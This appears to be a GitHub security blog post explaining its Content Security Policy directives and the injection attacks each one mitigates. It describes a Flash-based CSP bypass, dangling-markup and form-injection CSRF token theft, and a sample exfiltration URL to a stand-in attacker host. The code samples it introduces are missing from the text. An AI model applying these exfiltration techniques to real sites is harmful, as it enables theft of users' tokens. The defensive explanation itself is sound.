Just to get everyone on the same page, when talking about “content injection” we are talking about:
GitHub uses auto-escaping templates, code review, and static analysis to try to prevent these kinds of bugs from getting introduced in the first place, but history shows they are unavoidable. Any strategy that relies on preventing any and all content injection bugs is bound for failure and will leave your engineers, and security team, constantly fighting fires. We decided that the only practical approach is to pair prevention and detection with additional defenses that make content injection bugs much more difficult for attackers to exploit. As with most problems, there is no single magical fix, and therefore we have employed multiple techniques to help with mitigation. In this post we will focus on our ever evolving use of Content Security Policy (CSP), as it is our single most effective mitigation. We can’t wait to follow up on this blog to additionally review some of the “non-traditional” approaches we have taken to further mitigate content injection.
Content Security Policy
The policy was relatively simple, but substantially reduced the risk of XSS on GitHub.com. After the initial ship we knew there was quite a bit more we could do to tighten things up. During our initial ship we were forced to trust a number of domains to maintain backward compatibility. The above policy did nothing to help with HTML injection that could be used to exfiltrate sensitive information (demonstrated below). However, that was almost three years ago, and a lot has changed since then. We have refactored the vast majority of our third-party script dependencies and CSP itself has also added a number of new directives to further help mitigate content injection bugs and strengthen our policy.
While some of the above directives don’t directly relate to content injection, many of them do. So, let’s take a walk through the more important CSP directives that GitHub uses. Along the way we will discuss what our current policy is, how that policy prevents specific attack scenarios, and share some bounty submissions that helped us shape our current policy.
First, an attacker creates a Wiki entry with the following content:
The sourced URL corresponds to a “raw request” for a file in a user’s repository. A raw request for a non-binary file returns the file with a content-type of text/plain , and is displayed in the user’s browser. As was hinted at previously, user-controlled content in combination with content sniffing often leads to unexpected behavior. We were well aware that serving user-controlled content on a GitHub.com domain would increase the chances of script execution on that domain. For that very reason, we serve all responses to raw requests on their own domain. A request to https://github.com/test-user/test-repo/raw/master/script.png will result in a redirect to https://raw.githubusercontent.com/test-user/test-repo/master/script.png . And, raw.githubusercontent.com wasn’t on our object-src list. So, how was the proof of concept able to get Flash to load and execute?
After rereading the submission, doing a bit of researching, and brewing some extra coffee, we came across this WebKit bug . Browsers are required to verify that all requests, including those resulting from redirects, are allowed by the CSP policy for the page. However, some browsers were only checking the domain from the first request against the source list in our CSP policy. Since we had self in our source list, the embed was allowed. Combining the Flash execution with the injected HTML (specifically the allowscriptaccess=always attribute) resulted in a full CSP bypass. The submission earned @adob a gold star and further cemented his placement at the top of the leaderboard . We now restrict object embeds to our CDN, and hope to block all object embeds once more broad support for the clipboard API is in place.
Note: The file that that was fetched in the above bounty submission was returned with a content-type of image/png . Unfortunately, Flash has a bad habit of desperately wanting to execute things and will gleefully execute if the response vaguely looks and quacks like a Flash file .
Unlike the directives we have talked about so far, img-src doesn’t often come to mind when talking about security. By restricting where we source images, we limit one avenue of sensitive data exfiltration. For example, what if an attacker were able to inject an img tag like this?
A tag with an unclosed quote will capture all output up to the next matching quote. This could include security sensitive content on the pages such as:
The resulting image element will send a request to http://some_evilsite.com/log_csrf?html=...some_csrf_token_value... . An attacker can leverage this “dangling markup” attack to exfiltrate CSRF tokens to a site of their choosing. There are a number of types of dangling markup which could lead to the similar exfiltration of sensitive information, but CSP’s restrictions helps to reduce the tags and attributes that can be targeted.
By limiting where forms can be submitted we help mitigate the risk associated with injected form tags. Unlike the “dangling markup” attack described above for image tags, forms are even more nuanced. Imagine an attacker is able to inject the following into a page:
Since the injected form has no closing tag we have a situation where the original form is nested inside of the injected form. Nested forms are not allowed and browsers will prefer the topmost form tag. So, when a user submits the form they will export their CSRF token to an attacker, subsequently allowing an attacker to perform a CSRF attack against the user.
Similarly, there happens to be a relatively obscure feature of button elements:
By limiting form-action to a known set of domains we don’t have to think nearly as hard about all the possible ways form submissions might exfiltrate sensitive information. Support for form-action is probably one of the most effective recent additions to our policy, though adding it was not without challenges.
When we considered what might break in adding support for form-action , we thought it would roll out cleanly. There were no forms identified that we submitted to an off-site domain. But, as soon as we deployed the “preview policy” (visible only to employees) we found an edge case we hadn’t anticipated. When users authorize an OAuth application they visit a URL like https://github.com/login/oauth/authorize?client_id=b6a3dd26bac171548204 . If the user has previously authorized the application they are immediately redirected to the OAuth application’s site. If they have not authorized the application they are presented a screen to grant access. This confirmation screen results in a form POST to GitHub.com that does a 302 redirect to the OAuth application’s site. In this case, the form submission is to GitHub.com, but the request results in a redirect to a third-party site. CSP considers the full request flow when enforcing form-action . Because the form submission results in navigation to a site that is not in our form-action source list, the redirect is denied.
child-src / frame-src
Our current policy globally allows our render domain (used for rendering things such as STL files , image diffs , and PDFs ). Not long ago we also allowed self . However, self was only used on a single page to preview GitHub Pages sites generated using our automatic generator . Using our recent support for dynamic policy additions, we now limit the self source to the GitHub Pages preview page. After some additional testing, we may be able to use a similar dynamic policy for rendering in the future.
This directive effectively replaces the X-FRAME-OPTIONS header and mitigates clickjacking and other attacks related to framing GitHub.com. Since this directive does not yet have broad browser support, we currently set both the frame-ancestors directive and the X-FRAME-OPTIONS header in all responses. Our default policy prevents any framing of content on GitHub.com. Similar to our frame-src , we use a dynamic policy to allow self for previewing generated GitHub Pages sites. We also allow framing of an endpoint used to share Gists via iframes.
Though not incredibly common, if an attacker can inject a base tag into the head of a page, they can change what domain all relative URLs use. By restricting this to self , we can ensure that an attacker cannot modify all relative URLs and force form submissions (including their CSRF tokens) to a malicious site.
Many browser plugins have a less than stellar security record. By restricting plugins to those we actually use on GitHub.com, we reduce the potential impact of an injected object or embed tag. The plugin-types directive is related to the object-src directive. As was noted above, once more broad support for the clipboard API is in place, we intend to block object and embed tags. At that point, we will be able to set our object-src source list to none and remove application/x-shockwave-flash from plugin-types .
We are thrilled with the progress we have made with our CSP implementation and the security protections it provides to our users. Incremental progress has been key to getting our policy, and the underlying browser features, to the maturity it is today. We will continue to expand our use of dynamic CSP policies, as they let us work toward a “least privilege” policy for each endpoint on GitHub.com. Furthermore, we will keep our eyes on w3c/webappsec for the next browser feature enabling us to lock things down even more.
No matter how restrictive our policy, we remain humble. We know there will always be a content injection attack vector that CSP does not prevent. We have started to implement mitigations for the gaps we know of, but, it is a work in progress as we look to current research and constant brainstorming to identify loopholes. We would love to write about our work mitigating some of these “post-CSP” edge cases. Once a few more pull requests are merged, we will be back to share some details. Until then, good luck on your own CSP journey.